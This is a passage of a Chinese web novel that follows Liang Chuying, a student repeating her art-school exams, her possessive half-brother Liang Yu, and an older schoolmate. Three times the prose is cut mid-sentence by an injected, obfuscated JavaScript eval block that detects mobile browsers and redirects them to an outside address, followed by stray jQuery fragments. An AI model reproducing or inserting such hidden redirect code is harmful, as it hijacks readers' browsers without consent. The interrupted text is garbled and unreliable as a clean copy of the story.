梁聿突然靠近一些,两人的瞳孔都被框进彼此的眼睛里,梁初楹咽了下口水,刚才那几个字还在脑海里滚来滚去,她思绪紊乱,理不清。
“不小心被你看到了。”梁聿拽着她袖口,半讨好似地温笑,却叫人胆寒,“可以帮我保密吗?”
梁初楹咬住口腔里的软肉,感性上厌恶他,理性上被道德掣肘,觉得没必要一直针对他。
她脑子里争斗着,还未应声,梁聿歪一下头,下巴轻轻点在她肩头,温凉的呼吸寸寸钻进耳廓的毛孔,他声音极低:“知道姐姐恨我,所以要我做什么都可以,我都会听你的。”
梁聿偏一下头,鼻尖蹭过她耳朵,吐气轻到几乎听不清:“好吗?”
“撒娇是没有用的。”梁初楹不自在,推着他的下巴叫他后退,然后古怪地横他一眼。
梁聿愣了一瞬,眼睛突然半弯着,像是要笑,唇缝都闭不上,透出雪白的牙齿来。
他也不挣扎,就任由梁初楹掐着他下巴,甚至颇有种乐在其中的滋味,还能闲散地笑眯着眼睛发出“嗯”的鼻音,静候她的下文。
梁初楹沉下一口气,眼神偏到别的地方,没看他,于是梁聿唇角又降落,眼里情绪空洞,变得兴致缺缺。
“虽然我们关系不算好,但你这个病……有得治吗?”她思忖几番,开口问。
短暂的沉默过后,他徐声:“如果是绝症,无药可治呢?”
梁初楹皱眉:“男女有别,平时我们还是离得远一点为好。”
梁聿将下巴撤走,后退半米距离,将病历搁在桌面上,他不悲不喜,似乎并不觉得愤怒。
“姐姐忘性大,好像不记得了,这应该是谁的手笔。”
房间采光很好,一切小动作都无处遁形,梁初楹的手蜷缩一瞬,扶着桌子站起来,紧紧抿住唇不说话,下意识逃避起来,不太想与他讨论这个问题。
“生活在不合群和僵化家庭下”几乎都是梁庆跟她的责任;而他口中的“性知识”,大概、也许也是因为那些乱七八糟的碟片的缘故?
梁初楹有种自食其果的不好预感。
这件事情要追溯到初中的时候,梁初楹偶尔从那群满脸痘印还靠在桌子旁边高谈阔论的青春期男生那里,得知他们因为偷看小电影被家长教育。
而那阵子梁聿莫名其妙开始学做饭,叫梁庆很是欣慰,梁初楹有种憋闷的矛盾心理,所以十分幼稚地,想了个损招诬蔑他。
其实算不上诬蔑,她只是抛出一个小小的“钩子”,故意放了碟片在梁聿枕头底下,然后一到晚上就趴在墙边听他房间的动静,一边听一边唾弃自己像个偷窥的变态。
第一部碟片足足等了一个月才成功,梁初楹都快等崩溃了,某天晚上扒着墙骂:“怎么他还不看?这个年纪不是都应该……”
她这话刚说完,那边沉默了好一阵,突然有了声音,梁初楹听见他穿鞋下床,然后她得到了她期待中的声响,马不停蹄去跟梁庆告状,大门一推,高声检举:“梁聿在房间里看小电影,我听见了!”
梁庆没收了梁聿的碟片,如她意料之中的,他说对梁聿很失望。
梁初楹就站在爸爸后面得意地笑,梁聿看着她,也扯起唇角,一副似笑非笑的温和模样。
她那时候觉得梁聿这都能上当,真是一点克制力都没有,欲望太盛。
现在想来,当时做这种蠢事的时候真是一点儿计划都没有,谁枕头底下会长碟子出来?用脚趾头想都知道是她故意那么干的。
更离谱的是梁聿居然真看了,她居然还成功让他被骂了。
她后面还效仿过一次,从别人那儿收来的就是那部梁聿口中“最喜欢”的片子,失败了,没见梁聿看过,所以那张片子被保留了下来,而梁初楹后续也失去了用这样的事情捉弄他的兴致,就这样不了了之。
不过也许……就是因为她那时候做了这种乱七八糟的事,开发了他,导致他得这种奇怪的病?
虽然会因为这件事感到心虚,但并不妨碍梁初楹现在好强地嘴硬:“我已经道过歉了啊,你还想我怎么做?”
梁初楹摸摸自己有些痒的耳朵,最后看了衣柜一眼:“为了赔罪,我给你买了件衣服,爱穿就穿,不爱穿也得穿。”
“还有。”她脑袋很痛,懒于思考,跨步要往外走,最后留下一句,“这件事我不会往外说的,因为会丢家里人的脸。”
“……就这样吧。”
直到回到了自己的房间,梁初楹背靠着门滑下去,心里还在砰砰直跳,半晌都无法平静。
像有无数只蜜蜂在耳边环绕,吵得人脑袋嗡嗡作响,梁初楹弹了一下腿,把拖鞋都踢掉了,开始懊恼自己到底哪里来那么强的好奇心,不打开那东西不就什么都好了?
知道这种事情……还不如一直被蒙在鼓里!
这种烦躁的感觉一直持续了一周,背文言文的时候梁初楹也是心不在焉,早自习结束以后老师随机找人抽背,点到她的时候她“腾”地一下站起来,还是依靠着去年高考的模糊记忆才背出来,祖佳琪在旁边提示得面部肌肉都要僵硬了。
下午在画室画人头,梁初楹也没按例图来,将那“文艺青年”画得十分面目可憎,眼皮上的痣一点,越看越像梁聿,梁初楹眉一皱,直接在上面打了个叉,从画板上抽下来揉成一大团丢在手边,然后重新放了一张白纸起型。
祖佳琪被她这模样吓到了:“你怎么了?看上去好烦躁。”
最后冲刺的关头,画室里人很多,大家都是屁股不离凳子,梁初楹胸腔里憋了好几口气,张嘴就想问祖佳琪:“你知道性——”
祖佳琪懵懵地看着她,眼睛好奇地睁大,后面的话就叫她不好意思说了。
“……算了。”梁初楹还是把话憋回去,铅笔在素描纸上很用力地摩擦着。
晚自习的时候,画室的老师拍拍手叫大家停一会儿,一口气说了两件事,第一件有关最后一次集训,定在十月中旬,为期一个月左右,这次集训完以后就差不多该参加省里安排的考试了。
第二件事,是他叫来去年毕业的一个学长,本来已经考上了德国的美术学校,没上几个月就退学跑回来复读,重新念了。
老师认为他毕竟去年考得不错,很多经验值得大家借鉴,所以专门把他叫过来给大家谈谈感想。
这教室里坐的大部分当然还是第一次高考的学生,像梁初楹这类的复读生算是凤毛麟角,祖佳琪抻着脖子往上面看,用胳膊肘怼梁初楹:“长得还不赖,看上去得有一米九了……以前就好有名来着,对了!我记得当时……你俩是不是认识啊?”
梁初楹盯着他看了一会儿,捏着笔在彩粉纸上用红色颜料画了个碎掉的心,咬着下唇,表情复杂:“没怎么说过话,就知道个名字吧。”
“晏文韬,来,跟大家介绍
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15159836|165016||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一下自己。”
听到这三个字,梁初楹手里的画笔再次滞住,她抬着眼睛,视线越过高高架起的画板,落向讲台的位置,晏文韬似乎看了她一眼,两个人的视线像磁铁同极相触,梁初楹顷刻间把视线收回。
头顶一盏很亮的白炽灯照在他身上,背后的电子白板上放着动态PPT,晴暖色的,如同晨曦。
晏文韬确实很高,白衬衫,黑色直筒裤,袖口经常沾着彩色的颜料,蓄了稍微有点长的头发,半扎着,雌雄莫辨的气质——学艺术的很多都这样,不是留长头发,就是蓄长胡子,冒牌的巴斯奎特,或齐白石。
晏文韬在上面讲PPT,梁初楹在下面走神,画了一根黑箭刺穿她那颗破碎的爱心,她沉浸在自己的世界里,也不觉讲台上的人什么时候走到自己跟前。
“看来我说的还是太无聊了。”那人说,“老朋友都听不下去。”
梁初楹被吓了一下,沾了黑颜料的画笔登时掉了下去,染进黄色颜料的格子里。
回了头,看见晏文韬正盯着自己,他笑着:“去年毕业以后就没见了,我记得你去年考得不错,还要复读一年?”
也不知道他ppt讲完多久了,旁边的人都开始自顾自做起自己的事情来,没谁注意到他溜达到最后排来了,梁初楹张张嘴唇,最后只说了个“是”。
晏文韬像是有点无奈:“你还是这么呆。”
“这儿呢,我找到了,张老师猜的大概要考的方向,也不知道准不准。”
秦老师从侧边的小房间里出来,拿了几张龙飞凤舞写着字的画纸,交到晏文韬手里,反复叮嘱:“这个你别太当真,张老师的消息不一定准,别的也得多练,别松懈,一鼓作气今年冲上八大院校。”
晏文韬今年去了白云湖高中复读,几乎算得上是本地最差的学校了,也不知道他怎么想的,校内都没有几个艺术生,连课都开不起来,他是报了校外的培训班,据说底蕴很牛,当初梁庆跟她提过,梁初楹嫌累,懒得去。
“好,我知道了。”他看一眼梁初楹,多问了一句,“也可以分享给别人吧?”
老师推他一把,好像跟他挺熟的,不然也不会把重要资料给他,“别到处传,被人检举了我就要挨骂了,说我有私人关系什么乱七八糟的,一想到这我就头疼。”
“好,好。”晏文韬笑着应下。
老师挥挥手叫他走,然后开始继续巡查学生色彩训练的情况。
梁初楹此时已经将那颗红色的心给涂成红黄色调的苹果了,只不过因为黄色颜料混了黑色,看上去不太亮,暗沉沉的,像沾了灰的抹布。
室内声音嘈杂,跟老师交谈完以后,晏文韬又走过来,梁初楹的心被高高架起,捏着笔的手有些无所适从,反复在同一个地方涂抹。
晏文韬停了一会儿,把刚拿到手里的画纸戳进她怀里,梁初楹抬头看他,他摁着她肩膀叫她小点声音。
像是回忆了许久,他开始对号入座:“你还是只想考清美?”
“这种事你还记得?”她低眼把沾了黑色的黄色颜料挖掉,“尽力吧,实在考不上也没办法了,总不能再来一年吧。”
“也是。”他笑笑,“那我先不打扰了,无论你想考哪个学校,都希望你愿望成真。”
晏文韬跟台前的老师打了招呼,从前边的楼梯下去了。
梁初楹的力气也松掉,长长叹了一口气,提不起什么兴致,郁闷地把手里的笔扔进涮笔桶里。
晚上提着几张卷好的作业回家,梁初楹在楼下的衣物回收箱上看见了一个熟悉的纸袋。
里面装着一件白色的短袄。
5. 变质
到家的时候是晚上十点左右,只有一楼道的寒意,将入冬季。
梁初楹一个人站在楼下,把自行车停好、上锁,然后径直走向回收箱,顺便帮了他一把,把装着衣服的纸袋直接摁进闸口,软物掉了下去。
梁初楹自嘲一笑,觉得自己真是脑袋进水才给他送衣服。
梁庆是今天下午回华城的,客厅里还摆着他没来得及收拾的行李,梁初楹的鞋子摆得凌乱,她心情不佳地拎着书包回房间,架着画板继续画作业,一直到凌晨十二点才去洗漱。
刚准备上床休息的时候,发现手机里有新的好友申请,是一个蓝色锁的头像,备注写着“我是晏文韬”。
犹豫再三,梁初楹想不清楚他怎么突然加自己好友,她把自己裹在被子里盯着屏幕看了好一会儿,犹犹豫豫的,最后还是通过了他的申请。
晏文韬的消息下一秒就发进来。
【Blue】:我这里还有我们画室老师给的例图,你需要的话我发给你?
【M】:谢谢,你发我吧,我有时间一定练习。
但他没有发,兴许是睡了。
梁初楹心中狐疑,看时间实在太晚了,也没太多想,关了手机就睡着了。
其实她跟晏文韬也算不上熟,去年他也是一直在学校训练,没去外面找教培机构,俩人当时集训都在一起,但也不过只是点头之交。
梁初楹说不上来自己是不是真喜欢他,她搞不清楚“喜欢”是一种什么感觉,从未有过,只听别人的描述也难以理解。
因为晏文韬个子高、气质好、有谈吐,很多女孩儿都说喜欢他,梁初楹认为这种感情是轻浮的,太表面了,像小孩子过家家,如何区分是爱情的喜欢还是纯粹的人格仰慕?
不过在她那个年纪的群体里,暗恋是时尚单品,偷偷早恋意味着迈入了成年人的队列,是值得炫耀的东西,拉个小手、在树林子里亲一下,第二天势必要站在台上振臂高呼,失恋了还要装消沉,但很难说心里是真难过还是只是觉得自己“应该”难过。
去年跟梁初楹同一届的人 ,私底下经常提晏文韬的名字,一说起来就要眯着眼睛笑,耳朵尖都得红起来。
“他好帅啊,梁初楹你不觉得吗?”
当时她愣一秒,确实觉得晏文韬人还不错,于是很坦诚地开口:“还行吧。”
“我就知道!学校里好多人喜欢他。”
其实不太好判定,要真让梁初楹评比一下,兴许那个招人恨的梁聿要更好看一点。
“唉,但我们是没可能的啦,我在广播站的朋友打听过,他好像有女朋友,毕业后就要跟女朋友一起去德国留学。”
梁初楹当时就点点头,把碗里的青椒都撇到一边,皱着眉,心说梁聿今天做饭的时候一定是刻意报复她,放这么多难吃的东西。
后来偶然一次听见她俩在洗抹布的时候编排自己,说她脾气大,总喜欢叫别人讨好她,把她当公主一样供着,实在相处不来。
梁初楹直接断舍离,跟那几个朋友很快闹掰,再也没跟她们来往过,没几天就传了闲话出来,说她暗恋晏文韬,还被晏文韬拒绝了,这事儿被捅到晏文韬面前,他思忖了几秒,脾气不错地辩白:“没有这种事,不要编排谣言,对人家女孩儿不太好。”
因为这句话,她多看了他两眼,不过在这之后还有别的联系吗?倒是不太记得了。
所以那天他突然喊出自己的名字,叫梁初楹觉得很是稀奇。
兜着一箩筐的心事,梁初楹却睡得非常好,一夜无梦,起床的时候容光满面。
梁庆在家,就用不着梁聿做饭了,他倒是会装,还跟往常一样拎着豆浆机往梁初楹杯子里倒:“姐姐起好早,豆浆放了半勺糖,还热——”
“不喝,倒了吧。”她看都懒得看。
梁聿看上去很好脾气,连冷脸都没有,只是唇角稍微抿进去些许。
梁庆煎完鸡蛋出来,微微愠怒,但只会不痛不痒地提醒:“给你倒好了怎么不喝?之前怎么跟我保证的。”
“他做了什么自己心里清楚。”梁初楹转头把自己杯子里的豆浆倒进池子里,重新倒了一杯,没放糖。
知道她的喜好了不起啊,这玩意儿不是随时都能改?她昨天可以爱喝半勺糖的豆浆,今天就可以爱喝无糖的。梁初楹恨恨想,仰头把豆浆一饮而尽。
梁庆叹气:“你俩什么时候能真的握手言和,家里就清净不少了,我还能多活些日子。”
叉子重重碰上瓷盘,梁初楹把煎蛋撕扯成两半,扯扯嘴角,心说梁庆怕是永远看不见那一天了。
“是我之前太善良了,我为什么要和一个来历不明的人握手言和?”她笑得很灿烂,“我跟他难道不是天生就不对盘吗?你第一天知道哦?”
梁聿低着头慢条斯理地吃东西,充耳不闻,梁庆斜她一眼,嗔怪:“别胡说八道。”
由于梁庆的工作涉及政治,她家早上基本都放早间新闻,不过爸爸的工作前几年似乎出过问题,当时梁初楹被匆忙送回奶奶家待了一段时间,再被接回来的时候,梁聿到他们家里来了,同时梁庆官升一阶,当上了华城南阳区区委书记。
梁初楹一边听新闻一边把食物送进嘴里,顷刻间起了报复心,跟她爸提:“我前段时间看见新闻,说现在青少年心理疾病很是猖獗,咱们家——”
桌子底下,一只脚不轻不重踢了她一下。
梁初楹的声音止住,视线落在梁聿身上,他已经吃完,面上表情自若,似乎很期待她要说什么,但下面的双腿却勾着她的脚紧紧缠着,似一种无声的威胁。
“咱们家应该不会有这种事。姐姐今天看上去心情很好,说了好多话。”他接过那半头话接着说。
梁初楹不想理他,把自己的脚抽回去,额外又踹他一下。
打开自行车的锁准备去学校的时候,她看见已经有人开始收集回收箱的衣服,梁聿从屋子里出来,朝那边望了一眼,随即收回视线,踢开自行车的支撑架。
“你今天火气很大。”
梁初楹看见他故意装不谙世事就烦躁:“就我俩在这儿你还虚与委蛇?你难道还有人格分裂?”
“不懂你在说什么。”他低低头,假装沉思,“暂时也没有诊断出来人格分裂。”
梁聿不疾不徐地询问:“突然在爸面前说那些……你想反悔?”
“那又怎么样?我没有反悔的权利吗?”梁初楹一只脚已经踩上自行车踏板,认为他简直是在说废话,“你要不要想想你做了什么?如果不喜欢我送的东西就直接说。”
她撇开眼神:“扔也不藏着点儿,还被我发现,是你太蠢,还是你觉得我很蠢?”
梁聿黑漆漆的眼睛黏在她身上,像挥散不去的阴雨:“姐姐是不是误会了什么?我什么也没扔过。”
“哦。”梁初楹气笑了,觉得他又在装傻充愣,他不承认,自己还能怎么办?“想要别人保守秘密就得拿出好一点儿的态度吧。”
“那你想让我怎么做,我不是一直都听你的话吗?”
梁初楹斜他一眼,道:“我希望你离我远一点,能听话吗?”
“有点难,换一个呢?”梁聿连斟酌的时间都没留,歪头认真地说。
她无话可说了,踩着自行车踏板扬长而去。
上课的时候,梁初楹一只手拖着脸,另一只手转笔,呼啦呼啦转了几圈,再“啪”的一声掉在桌子上。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15159837|165016||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
祖佳琪今天请了病假,好像是有点发烧,华城的季节更迭很快,春秋都很短,夏冬倒极为绵长,气温直线下降,来不及加衣服,很容易就冻得感冒发烧,班上好多人都戴起了口罩。
晚上发了集训的报名表,梁初楹把信息一项项填好,口袋里的手机震了一下,她在画室打开看了一眼,昨天晚上的消息晏文韬隔了一整天才回。
【Blue】:“不好意思昨天睡着了,白天手机被收上去没来得及回,因为老师要求保密,不太好传播图片,不然约个时间见面给你?”
【Blue】:“我周末在诺雅画室,你看看什么时间有空,我去找你吧?”
东西本来就是人家的,自己算是免费白嫖,还让人家大老远跑一趟也不太好,梁初楹就说自己下周末调休的时候去诺雅画室找他拿就行。
她刚把消息发送出去,手机突然被身后的一双手抽走,秦老师没好气盯着她:“都要考试了还玩手机,教室里不能玩,画室里也不能。先没收了,放学了找我拿。”
她往后一靠,心里烦了一小会儿,然后丧气地软在椅子上,瘫成一团泥巴。
后面的几天乏善可陈,梁庆从来对两人之间的矛盾置若罔闻,将其视为小孩子之间的小打小闹。
家里的这点破事自然比不上梁庆升官重要,他爸只对自己的工作最上心,家里的事他很少管。梁初楹听到过梁庆打电话,中央下派了领导来检查华城政治任务的落实情况,梁庆这几天为这件事胆战心惊,接过好几个令他破口大骂的电话,显得颇为忧心忡忡。
大人有大人的纠结,小孩也有小孩的——梁初楹还是不想与梁聿说话。
自己之前还因为把他撞进水里的事而感到愧疚,想赔罪的时候真心却被当成垃圾扔掉,这叫梁初楹那点儿愧疚又没了,她又觉得梁聿可恨起来。
这个人真是有魔力,梁初楹不知道他是不是在自己心里也安了一双眼睛,将她看清,否则怎么能分分钟掌握她的情绪,上一秒愧疚,下一秒就能恨他恨得牙痒痒。
马路两边散落着黄色的枯叶,又脆又干,梁初楹一脚踩碎一片,叶子粘在她鞋底,一直被带到家门口。
梁聿回来得要比她晚一些,不知道去了哪里,家里一般没人知道他什么时候回来的,梁初楹放学从来没跟他碰过面。
不知道他在学校怎么样、也不知道他的行踪,在父女俩的印象里,梁聿总是突然消失又突然出现。
他晚上回来的时候梁初楹正在一楼接热水喝,饮水机半天不出热水,梁初楹觉得这机器一定是坏掉了,结果梁聿换了鞋过来看了两眼,说她没解开儿童锁。
他从背后覆上来,周身笼了一层薄薄的寒意,像将至的冬,全方位将梁初楹笼罩,胸膛贴着她的脊背,梁初楹自动往前靠,被梁聿环过来的手顶住脑门往后推。
“热水会溅到,别靠那么近。”
她吸一口气:“你别靠我那么近才对,闻见你的味道就讨厌。”
黑暗里看不清他的脸,抬眼只看见一小截弧度精致的下颌。
“我是什么味道?”
梁初楹夺了他手里接好的水,咕咚几声吞下去,骂他:“狐骚味。”
梁聿没反驳,视线下落,盯着她下唇看,又凑近了一些,捧着她的脸,拇指重重摁上她的唇,用力蹭过。
“流下来了。”他语义不明,“姐姐怎么像小孩子一样。”
梁初楹打掉他的手,抿紧唇,表情很难看:“叫你别碰我了,你这人听不懂中文吗?”
她气愤,将剩下半杯温水尽数泼他脸上。
梁初楹重重把杯子掼在桌面上,看着水珠滑过他的痣与鼻梁,最后下坠到地板上。
6. 变质
她泼完后“哼”了一声就甩头走掉,拖鞋踩在楼梯上踢踢踏踏的,二楼的门被重重关上,只余梁聿一个人孑然立在黑暗里。
楼外驱过一辆车,淡黄色的灯光晃得屋子里如同天亮,将他的影子拽得如同烛火一般细长。
密密的睫毛垂覆住眼底的深色,像水晕湿了干燥的布料,梁聿探出温热的舌尖,抿去指尖残留的一点水迹,缄默地敛着眼,情绪跟手指一起收了回去。
梁初楹回到房间里以后还是觉得自己浑身都不自在,倒在床上以后翻来覆去,鼻尖抵入柔软的枕头,却蓦然嗅到那股总是萦绕在梁聿周身的浅淡气息,惹人心烦。
她拧一下眉,将枕头挥落在地上,第二天就把被梁聿睡过的床单和被套拆下来全部换洗,生怕自己沾上他一点儿气味似的。
早饭结束的时候梁庆说他周六跟领导有个饭局,回不来,叫梁聿想想冰箱里还缺什么菜,今天他回家的时候顺便带回来。
梁初楹撑开书包夹层看了一眼,确保东西都带上了,准备出门时报备了一句:“我周六也有事出去,不在家里吃,不用做我的份。”
“晚上也不回来吗?”梁聿弯身把鞋带系好,“怕是不太安全。”
梁初楹甩着马尾就先一步出门:“用不着你管。”
到了月底,祖佳琪过得捉襟见肘,午饭的时候梁初楹替她刷了卡,祖佳琪说下个月一定还她,但这点钱对梁初楹来说算不上什么,就叫她不用还了,坐在对面的祖佳琪突然沉默了很久,梁初楹疑惑抬眼问她怎么了,祖佳琪笑笑,说没什么,只是饭有点凉了。
“对了,有人给了我一些素描稿,好像是出自几个挺权威的老师,我回去以后微信发你一份?”
梁初楹边吃边说,但祖佳琪好像没什么胃口,餐盘里的饭只挖了一个洞,然后她就从兜里掏出纸巾擦嘴了,点点头说好呀。
梁初楹觉得她态度有些奇怪,但是也没多想,只当是临近考试的焦虑,大家多多少少都会有这种情况,梁初楹第一年高考的时候情绪也不稳定。
周五的时候晏文韬就给她发了消息,问她是不是明天来,梁初楹回了个“OK”的表情,定了个早上九点的闹钟,结果周六起床下楼,发现梁聿并没有像往常一样买好早餐放在桌子上,甚至都没在楼下见到他的人。
前几天梁庆说今天出去有事的时候梁聿也没说过要出门,难道是因为得知自己也不在家吃饭,所以干脆就也出门了?
不过这疑虑很快就被打消。
她刚在饮水机上摁了几下,二楼梁聿卧室的门就打开了,梁初楹又听到一阵很轻的关门的“咔哒”声,她抬眼向上望,二楼却没有一个人。
心里突然涌上一阵恐惧,梁初楹连倒好的水都没喝,放下杯子就缓缓朝二楼走去,她先是敲了几下梁聿的门,里面无人应答,梁初楹皱着眉进去,发现梁聿的床上是空的,不过被子还凌乱着,不像他一贯的作风,这人洁癖到令人发指的地步。
难道家里真闹鬼了不成?
梁初楹默默站了几秒,又回到自己房间打算拿手机给梁聿打个电话,虽然她对这人没什么好感,但是这么长时间以来,依赖这个弟弟就像是被故意温养出来的习惯,是刻在骨子里下意识的动作,梁庆平时要在官场上周旋,没什么时间关心她的小心思,一有什么事就要她去找梁聿说,一来二去的,梁初楹遇见什么事第一个想到的人就是梁聿。
她进了房间以后径直向书桌走去,拿到手机以后才听到房间里有细微布料摩擦的声音,梁初楹往床上看了一眼,发现不在自己房间的梁聿,睡在了她的床上。
不知为何,她浅浅缓了口气,好在不是什么灵异事件。
床上鼓起一团,她没什么一大早把窗帘拉开的好习惯,于是卧室里的光线还是沉闷的,模糊的光从窗帘布料的缝隙往里透,梁初楹放下手机走向床边,完全想不明白:“你跑到我床上来做什么?”
梁聿下半张脸全没进了被沿下,呼吸很重,似乎连掀开眼皮的力气都没有了,只能把眼睛掀开一条缝,看向站在床边用影子罩住他的梁初楹,说话时吐息灼热:“是吗?我走错房间了。”
他缓慢坐起身来,隔得近了,梁初楹似乎都能感觉到他从被子里带出的热意。
梁聿环视了一下屋子,又咳了两声。
梁初楹见他状态不对,用手背探了下他脸颊的温度,默了两秒:“你怎么又发烧了。”
几乎是她的手靠过去的瞬间,梁聿就主动用脸颊贴了过去,呼吸不畅所以只能用嘴吐息,滚烫的气息就扫在梁初楹手指上。
他像是毫无所知,费劲地把眼睛睁开,缓慢吐字:“不知道,可能是之前没好全吧。”
梁初楹的视线落在她的床铺上,才洗过没几天,现在就又全是他身上的味道了,跟故意的一样。
那不经意的措辞叫梁初楹又不明不白地内疚起来,倒是没想到呛了水会有这么严重,还会反复发烧。
梁聿像是突然想起什么,很知趣地提醒她:“我记得你今天似乎是要出门的。”
他又躺了回去,把梁初楹的被子密实地盖在身上,声线浅淡:“……留我在这儿睡一会儿吧,姐姐的床有温度。”
她屋子的暖气确实更好一些,因为梁初楹很怕冷。
梁初楹看了一眼时间,还算早:“我去楼下给你拿退烧药。”
刚抬步要走,袖口又被这人从被褥下探出的手指攥住,梁聿用黑色的眼珠直直望着她,眼底看不出什么情绪,只看见烧红的嘴唇一张一合:“你不是很讨厌我吗……我就这么烧死了的话姐姐不会更开心吗?”
梁初楹无措了一瞬,她是看梁聿不顺眼,但也没有到这种见死不救的地步,只是她当下并不想要对梁聿表露出什么叫人误会的善意,毕竟他们俩这辈子都只能落得互相讨厌的地步。
所以她甩开他的手:“那是因为我是个好人。我要是想让你死,你溺水
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15159838|165016||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的时候我就不会叫人把你捞上来了。”
他的手垂在床边,突然笑了,眼睛弯成一条缝:“我只是想让你高兴啊。”
一阵寒意突然从背后涌上来,梁初楹下意识打了个寒噤,梁聿收敛了情绪又咳嗽了两声,她意识回笼,那种像是被什么长蛇卷住身体的感觉就消散了。
梁初楹缓慢地眨眼,在心里骂这个人虚伪,郁闷地下楼给梁聿拿退烧药。
因为他前不久才高烧不退,家里准备的那些药都还没吃完,梁初楹看了眼盒子后面的说明,怕几种药一起吃会起冲突,所以先拿了一盒,把自己接了没喝的半杯水也带了上去。
“药放床头柜上,又没病到手断,自己扣出来吃。”她冷言冷语,把薄袄的拉链拉到头,从书桌上拿起自己的手机揣进怀里,一副准备出门的架势。
梁聿罕见地不配合起来,嗓音平静,柔弱里又像夹着刺:“姐姐不在我就不吃。”
梁初楹觉得他有病:“你爱吃不吃,我已经仁至义尽了,还要我伺候你不成?”
他不知道什么时候撑起身子半靠在床头,下颌往回敛,低着头把药丸一个个扣出来,把药当玩具似的玩儿,声音拉成一条平线:“你好像不是和女孩儿一起出去玩……”
梁初楹对他这种微妙的控制欲感到气愤,她双手揣着兜,就那么站在门口,影子长长下落,但坠不进他眼睛里。
她呛声:“那又怎么样?我愿意跟谁一起就跟谁一起。”
梁初楹早就见识到这人的两张脸了,她毫不客气:“有本事你就跟爸说,说我玩物丧志也好,说我早恋也——”
几乎瞬间,梁聿抬头看着她,梁初楹顿时有种像丛林里被猎人的枪口瞄准脑袋的恶寒感,但她不是什么胆子小的人,卡了一下还是把话说完:“……早恋也罢,你看爸能对我怎么样。”
梁庆自然不会对她如何,兴许是对她感到愧疚,梁庆向来是将梁初楹捧到手心里养的,就算梁聿也是他的孩子,但不过就是个私生的,平常学校举行什么家长会,梁聿身边通常也是没有人的,梁庆从来不关注他。
虽然梁初楹搞不懂这其中的缘由,但是爸爸站在她这边就叫她爽快。
梁初楹是被宠坏的小孩,说话从来不客气,尤其是对自己讨厌的对象,而梁聿丝毫不生气,垂下眼,还闲散地扯着唇角,梁初楹能借着房间漏进去的各种光线看见他因为发烧而绯红的脸颊、鼻头、两片唇瓣。
他温和又委屈地道:“姐姐明知道我不敢的。”
“因为我的秘密还在你手里啊。”
像求饶,又像早就计划好的,等兔子跳进陷阱的那一瞬间就冲出来咬住她双耳的蛇,而这陷阱中献祭的诱饵,是他自己的七寸。
有把柄就意味着有值得被索取的价值,梁聿需要自己有这份价值,并殷切地希望梁初楹无限期地索取他的血与肉。
榨干他价值的同时,承担他的爱欲,这样才算等价交换。
7.变质
记不清是什么时候从犄角旮旯里看见过的百科资料,有种叫“蝮蛇”的爬行动物,体长60-70厘米,背面灰褐色到褐色,腹面灰白到灰褐色,杂有黑斑。
咬人,人会翻倒;碰它,它会翻倒露出肚皮。
其中梁初楹觉得名字最好听的,是一种叫“尖吻腹”的生物,她觉得这名字很奇怪,在很长一段时间里无法琢磨其中寓意。
但现在似乎能抓到一点头绪了——在她看见梁聿似笑非笑的双眼时。
梁初楹压低眉毛瞪着他,发出短促“哈”的气音,一边带上门一边骂他神经病。
门即将关上,透过窄小无光的门缝,她看见屋子里的人耷拉着眼皮嗫嚅着什么话,手掌一翻,所有的药片都落进床边的垃圾桶里。
他似乎真的不打算治,要烧死在她床上。
梁初楹赌气跑下楼,都换好鞋准备晾着梁聿出门了,手指握在大门把手上,滞了两秒,又兀地闭眼,咬住后槽牙喃喃:“……我是欠了他的吗?”
早知道当初就不在骑自行车的时候抢他的道了,现在也不知道是不是自己的错,还叫梁聿给要挟了。
她转身又跑上楼梯,利落拽开房门,也没惯着他,弯腰从新换的垃圾桶里把被他扔了的药抓起来,随即翻上床,双膝跨在梁聿身体两边,摁住他脖子,在梁聿带着希冀的目光下用指尖顶开他的牙缝,绕过他湿答答的舌头,把药片一股脑塞进去。
“你不能死在我房间里。”梁初楹假装恶狠狠地说,拿起床头柜上的水杯往梁聿嘴里灌,他被呛住,胸腔重重起伏,下意识要坐起来反抗,腹部却被梁初楹坐住,因此无法得逞,只能任由多余的温水从口腔里溢出,将床单浸湿。
梁初楹看见他睫毛都湿了,钳制住他脖子的手心感受到他吞咽的动作,喉结上下滚动,把含着的水咽下。
她心情实在不美丽,从上到下打量着他被呛红的脸,打算把以前的旧账一起跟他算:“不管你用什么方法,把我送你的衣服找回来,病好了我要看见你穿上,别动不动就把账算我头上,很讨人厌,懂么?”
梁聿还歪着头在咳嗽,脸上的绯色愈咳愈重。
